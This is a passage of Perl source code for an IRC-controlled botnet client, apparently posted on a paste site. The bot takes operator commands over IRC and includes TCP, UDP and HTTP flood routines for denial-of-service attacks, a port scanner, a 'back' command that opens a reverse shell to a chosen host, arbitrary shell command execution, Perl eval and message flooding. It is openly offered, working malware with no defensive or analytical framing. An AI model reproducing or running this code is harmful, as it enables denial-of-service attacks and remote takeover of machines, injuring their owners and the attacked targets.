  1308. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  1309. }
  1310. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  1311. nick("$meunick-".int rand(999999));
  1312. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  1313. $meunick = $2;
  1314. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  1315. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  1316. foreach my $canal (@canais) {
  1317. sendraw("JOIN $canal s6x");
  1318. sendraw("PRIVMSG @adms :You Are My Master");
  1319. }
  1320. }
  1321. }
  1322.  
  1323. sub bfunc {
  1324. my $msgpriv = "$_[2]";
  1325. my $printl = $_[0];
  1326. my $funcarg = $_[1];
  1327. if (my $pid = fork) {
  1328. waitpid($pid, 0);
  1329. } else {
  1330. if (fork) {
  1331. exit;
  1332. } else {
  1333. if ($funcarg =~ /^nick (.*)/) {
  1334. sendraw($IRC_cur_socket, "NICK ".$1);
  1335. $nick=$1;
  1336. }
  1337. if ($funcarg =~ /^join (.*)/) {
  1338. sendraw($IRC_cur_socket, "JOIN ".$1);
  1339. }
  1340. if ($funcarg =~ /^part (.*)/) {
  1341. sendraw($IRC_cur_socket, "PART ".$1);
  1342. }
  1343. if ($funcarg =~ /^msg\s+(\S+) (.*)/) {
  1344. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :".$2);
  1345. }
  1346. if ($funcarg =~ /^op (.*)/) {
  1347. sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1348. }
  1349. if ($funcarg =~ /^deop (.*)/) {
  1350. sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1351. }
  1352. if ($funcarg =~ /^voice (.*)/) {
  1353. sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  1354. }
  1355. if ($funcarg =~ /^die (.*)/) {
  1356. sendraw($IRC_cur_socket, "QUIT :".$1);
  1357. $killd = "kill -9 ".fork;
  1358. system (`$killd`);
  1359. }
  1360. if ($funcarg =~ /^devoice (.*)/) {
  1361. sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  1362. }
  1363. if ($funcarg =~ /^say (.*)/) {
  1364. sendraw($IRC_cur_socket, "PRIVMSG $printl :".$1);
  1365. }
  1366. if ($funcarg =~ /^reset(.*)/) {
  1367. sendraw($IRC_cur_socket, "QUIT :Di3 for my Master");
  1368. }
  1369. if ($funcarg =~ /^die(.*)/) {
  1370. if ($1 eq ""){
  1371. sendraw($IRC_cur_socket, "QUIT :Di3 for my Master");
  1372. $killd = "kill -9 ".fork;
  1373. system (`$killd`);
  1374. }
  1375. }
  1376.  
  1377. if ($funcarg =~ /^tsunami\s+(\d+)\s+(.*)/) {
  1378. for (my $dx=0; $dx<=$1; $dx++)
  1379. {
  1380. my @nickxxxx = ("\\","|","_","-","`","^","{","}","[","]");
  1381. $nickfgv = $nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx];
  1382. $msgflood = "";
  1383. $msgflood = $msgflood.$msgflood;
  1384. sendraw($IRC_cur_socket, "NICK ".$nickfgv);
  1385. sleep 10;
  1386. sendraw($IRC_cur_socket, "PRIVMSG ".$2." :".$msgflood);
  1387. sleep 2;
  1388. sendraw($IRC_cur_socket, "NOTICE ".$2." :".$msgflood);
  1389. }
  1390. sendraw($IRC_cur_socket, "NICK ".$nick);
  1391. }
  1392. if ($funcarg =~ /^help(.*)/) {
  1393. if ($printl eq "$msgpriv"){
  1394. $msghelp ="PRIVMSG $msgpriv";
  1395. }else{
  1396. $msghelp ="NOTICE $msgpriv";
  1397. }
  1398. sendraw($IRC_cur_socket, $msghelp." :15(7@2Command List @adms15)");
  1399. sendraw($IRC_cur_socket, $msghelp." :15(7@2Copyright (C) 200715)");
  1400. sleep 2;
  1401. sendraw($IRC_cur_socket, $msghelp." :12<------------------------------------------------>");
  1402. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2help15)");
  1403. sleep 2;
  1404. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2portscan15) <IP/domain Name>");
  1405. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2udpflood15) <IP> <packet-size> <time>");
  1406. sleep 2;
  1407. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2tcpflood15) <IP> <port> <time>");
  1408. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2httpflood15) <www.website.com> <time>");
  1409. sleep 2;
  1410. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2say15) <msg>");
  1411. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2join15) <#>");
  1412. sleep 2;
  1413. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2part15) <#>");
  1414. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2nick15) <nick>");
  1415. sleep 2;
  1416. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2msg15) <#/nick>");
  1417. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2tsunami15) <banyak pesan> <#/nick> <msg>");
  1418. sleep 2;
  1419. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2op15) <nick>");
  1420. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2deop15) <nick>");
  1421. sleep 2;
  1422. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2voice15) <nick>");
  1423. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2devoice15) <nick>");
  1424. sleep 2;
  1425. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2reset15)");
  1426. sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2die15) <msg>");
  1427. sleep 2;
  1428. sendraw($IRC_cur_socket, $msghelp." :".$nick." 15(7@2back15) <ip> <port>");
  1429. sendraw($IRC_cur_socket, $msghelp." :".$nick." 15(7@2command² di atas15)");
  1430. sleep 2;
  1431. sendraw($IRC_cur_socket, $msghelp." :12<------------------------------------------------>");
  1432. }
  1433. if ($funcarg =~ /^portscan (.*)/) {
  1434. my $hostip="$1";
  1435. my @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","9997","10000","12345","19150","27374","31310","33133","33733","55555");
  1436. my (@aberta, %porta_banner);
  1437. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Portscan15)12 Scanning4 ".$1." 12for open ports.");
  1438. foreach my $porta (@portas){
  1439. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  1440. if ($scansock) {
  1441. push (@aberta, $porta);
  1442. $scansock->close;
  1443. }
  1444. }
  1445.  
  1446. if (@aberta) {
  1447. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ScanPort15)12 Open port(s):4 @aberta");
  1448. } else {
  1449. sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2ScanPort15)12 No open ports found.");
  1450. }
  1451. }
  1452. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/){
  1453. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attacking4 ".$1.":".$2." 12for4 ".$3." 12seconds.");
  1454. my $itime = time;
  1455. my ($cur_time);
  1456. $cur_time = time - $itime;
  1457. while ($3>$cur_time){
  1458. $cur_time = time - $itime;
  1459. &tcpflooder("$1","$2","$3");
  1460. }
  1461. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attack done4 ".$1.":".$2.".");
  1462. }
  1463. if ($funcarg =~ /^version/) {
  1464. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Version15)12 mIRC324 ".$VERSAO." 12K.Mardam-Bey");
  1465. }
  1466.  
  1467. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1468. my $host = "$1";
  1469. my $porta = "$2";
  1470. my $proto = getprotobyname('tcp');
  1471. my $iaddr = inet_aton($host);
  1472. my $paddr = sockaddr_in($porta, $iaddr);
  1473. my $shell = "/bin/sh -i";
  1474. if ($^O eq "MSWin32") {
  1475. $shell = "cmd.exe";
  1476. }
  1477. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1478. connect(SOCKET, $paddr) or die "connect: $!";
  1479. open(STDIN, ">&SOCKET");
  1480. open(STDOUT, ">&SOCKET");
  1481. open(STDERR, ">&SOCKET");
  1482. system("$shell");
  1483. close(STDIN);
  1484. close(STDOUT);
  1485. close(STDERR);
  1486.  
  1487. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2BackConnect15)4: 12Connecting to4 $host:$porta");
  1488.  
  1489. }
  1490.  
  1491. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1492. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP DDoSing15)12 Attacking4 ".$1.":80 12for4 ".$2." 12seconds.");
  1493. my $itime = time;
  1494. my ($cur_time);
  1495. $cur_time = time - $itime;
  1496. while ($2>$cur_time){
  1497. $cur_time = time - $itime;
  1498. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1499. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1500. close($socket);
  1501. }
  1502. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP15)12 Attacking done4 ".$1.".");
  1503. }
  1504. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1505. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP DDoSing15)12 Attacking4 ".$1." 12with4 ".$2." 12Kb packets for4 ".$3." 12seconds.");
  1506. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1507. $dtime = 1 if $dtime == 0;
  1508. my %bytes;
  1509. $bytes{igmp} = $2 * $pacotes{igmp};
  1510. $bytes{icmp} = $2 * $pacotes{icmp};
  1511. $bytes{o} = $2 * $pacotes{o};
  1512. $bytes{udp} = $2 * $pacotes{udp};
  1513. $bytes{tcp} = $2 * $pacotes{tcp};
  1514. sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP15)12 Sent4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1515. }
  1516. exit;
  1517. }
  1518. }
  1519. }
  1520.  
  1521. sub ircase {
  1522. my ($kem, $printl, $case) = @_;
  1523.  
  1524. if ($case =~ /^join (.*)/) {
  1525. j("$1");
  1526. }
  1527. if ($case =~ /^part (.*)/) {
  1528. p("$1");
  1529. }
  1530. if ($case =~ /^rejoin\s+(.*)/) {
  1531. my $chan = $1;
  1532. if ($chan =~ /^(\d+) (.*)/) {
  1533. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1534. p("$2");
  1535. j("$2");
  1536. }
  1537. } else {
  1538. p("$chan");
  1539. j("$chan");
  1540. }
  1541. }
  1542. if ($case =~ /^op/) {
  1543. op("$printl", "$kem") if $case eq "op";
  1544. my $oarg = substr($case, 3);
  1545. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1546. }
  1547. if ($case =~ /^deop/) {
  1548. deop("$printl", "$kem") if $case eq "deop";
  1549. my $oarg = substr($case, 5);
  1550. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1551. }
  1552. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1553. msg("$1", "$2");
  1554. }
  1555. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1556. for (my $cf = 1; $cf <= $1; $cf++) {
  1557. msg("$2", "$3");
  1558. }
  1559. }
  1560. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1561. ctcp("$1", "$2");
  1562. }
  1563. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1564. for (my $cf = 1; $cf <= $1; $cf++) {
  1565. ctcp("$2", "$3");
  1566. }
  1567. }
  1568. if ($case =~ /^nick (.*)/) {
  1569. nick("$1");
  1570. }
  1571. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1572. conectar("$2", "$1", 6667);
  1573. }
  1574. if ($case =~ /^raw (.*)/) {
  1575. sendraw("$1");
  1576. }
  1577. if ($case =~ /^eval (.*)/) {
  1578. eval "$1";
  1579. }
  1580. }
  1581.  
  1582. sub shell {
  1583. my $printl=$_[0];
  1584. my $comando=$_[1];
  1585. if ($comando =~ /cd (.*)/) {
  1586. chdir("$1") || msg("$printl", "No such file or directory");
  1587. return;
  1588. }
  1589. elsif ($pid = fork) {
  1590. waitpid($pid, 0);
  1591. } else {
  1592. if (fork) {
  1593. exit;
  1594. } else {
  1595. my @resp=`$comando 2>&1 3>&1`;
  1596. my $c=0;
  1597. foreach my $linha (@resp) {
  1598. $c++;
  1599. chop $linha;
  1600. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1601. if ($c == "$linas_max") {
  1602. $c=0;
  1603. sleep $sleep;
  1604. }
  1605. }
  1606. exit;
  1607. }
  1608. }
  1609. }
  1610.  
  1611. sub tcpflooder {
  1612. my $itime = time;
  1613. my ($cur_time);
  1614. my ($ia,$pa,$proto,$j,$l,$t);
  1615. $ia=inet_aton($_[0]);
  1616. $pa=sockaddr_in($_[1],$ia);
  1617. $ftime=$_[2];
  1618. $proto=getprotobyname('tcp');
  1619. $j=0;$l=0;
  1620. $cur_time = time - $itime;
  1621. while ($l<1000){
  1622. $cur_time = time - $itime;
  1623. last if $cur_time >= $ftime;
  1624. $t="SOCK$l";
  1625. socket($t,PF_INET,SOCK_STREAM,$proto);
  1626. connect($t,$pa)||$j--;
  1627. $j++;$l++;
  1628. }
  1629. $l=0;
  1630. while ($l<1000){
  1631. $cur_time = time - $itime;
  1632. last if $cur_time >= $ftime;
  1633. $t="SOCK$l";
  1634. shutdown($t,2);
  1635. $l++;
  1636. }
  1637. }
  1638.  
  1639. sub udpflooder {
  1640. my $iaddr = inet_aton($_[0]);
  1641. my $msg = 'A' x $_[1];
  1642. my $ftime = $_[2];
  1643. my $cp = 0;
  1644. my (%pacotes);
  1645. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1646.  
  1647. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1648.  
  1649. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1650. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1651. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1652. return(undef) if $cp == 4;
  1653. my $itime = time;
  1654. my ($cur_time);
  1655. while ( 1 ) {
  1656. for (my $porta = 1; $porta <= 65000; $porta++) {
  1657. $cur_time = time - $itime;
  1658. last if $cur_time >= $ftime;
  1659. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1660. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1661. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1662. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1663.  
  1664. for (my $pc = 3; $pc <= 255;$pc++) {
  1665. next if $pc == 6;
  1666. $cur_time = time - $itime;
  1667. last if $cur_time >= $ftime;
  1668. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1669. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1670. }
  1671. }
  1672. last if $cur_time >= $ftime;
  1673. }
  1674. return($cur_time, %pacotes);
  1675. }
  1676.  
  1677. sub ctcp {
  1678. return unless $#_ == 1;
  1679. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1680. }
  1681. sub msg {
  1682. return unless $#_ == 1;
  1683. sendraw("PRIVMSG $_[0] :$_[1]");
  1684. }
  1685. sub notice {
  1686. return unless $#_ == 1;
  1687. sendraw("NOTICE $_[0] :$_[1]");
  1688. }
  1689. sub op {
  1690. return unless $#_ == 1;
  1691. sendraw("MODE $_[0] +o $_[1]");
  1692. }
  1693. sub deop {
  1694. return unless $#_ == 1;
  1695. sendraw("MODE $_[0] -o $_[1]");
  1696. }
  1697. sub j { &join(@_); }
  1698. sub join {
  1699. return unless $#_ == 0;
  1700. sendraw("JOIN $_[0]");
  1701. }
  1702. sub p { part(@_); }
  1703. sub part {
  1704. sendraw("PART $_[0]");
  1705. }
  1706. sub nick {
  1707. return unless $#_ == 0;
  1708. sendraw("NICK $_[0]");
  1709. }
  1710. sub quit {
  1711. sendraw("QUIT :$_[0]");
  1712. }
  1713.  
Add Comment
Please, Sign In to add comment